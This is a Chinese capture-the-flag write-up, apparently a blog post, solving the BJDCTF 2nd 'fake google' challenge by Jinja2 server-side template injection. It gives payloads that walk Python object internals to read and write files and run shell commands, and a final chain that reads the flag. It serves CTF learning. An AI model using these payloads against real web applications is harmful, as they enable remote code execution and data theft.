[BJDCTF 2nd]fake google

在这里插入图片描述

{7*7}

在这里插入图片描述

{{7*7}}

在这里插入图片描述

{{7*'7'}}

在这里插入图片描述
回显是七个七,那么应该是 jinja2模板
参考:

__class__ 用来查看变量所属的类,根据前面的变量形式可以得到其所属的类

__bases__ 用来查看类的基类,也可是使用数组索引来查看特定位置的值

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

__init__ 类的初始化方法

__globals__ 对包含函数全局变量的字典的引用

__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

一些python内置的模块里面存在一些可以执行的函数
例如 os模块中就有eval,system,popen之类的用于执行的函数
而我们的最终目的就是要调用这类模块然后调用函数

一些常用的方法

//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

这道题的思路应该是就找到可用模块,然后用调用eval函数来执行python代码

{{''.__class__.__bases__[0].__subclasses__()

在这里插入图片描述
可用模块__builtins__常常藏在这个warnings.catch_warnings模块中
我们可以用索引来测试一下这个模块的位置

{{''.__class__.__bases__[0].__subclasses__()[:170]}}

在这里插入图片描述

在第169位

{{''.__class__.__bases__[0].__subclasses__()[169]}}

在这里插入图片描述

{{''.__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__.eval("__import__('os').popen('ls ../../../..').read()")}}

在这里插入图片描述

{{''.__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__.eval("__import__('os').popen('cat ../../../../flag').read()")}}

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值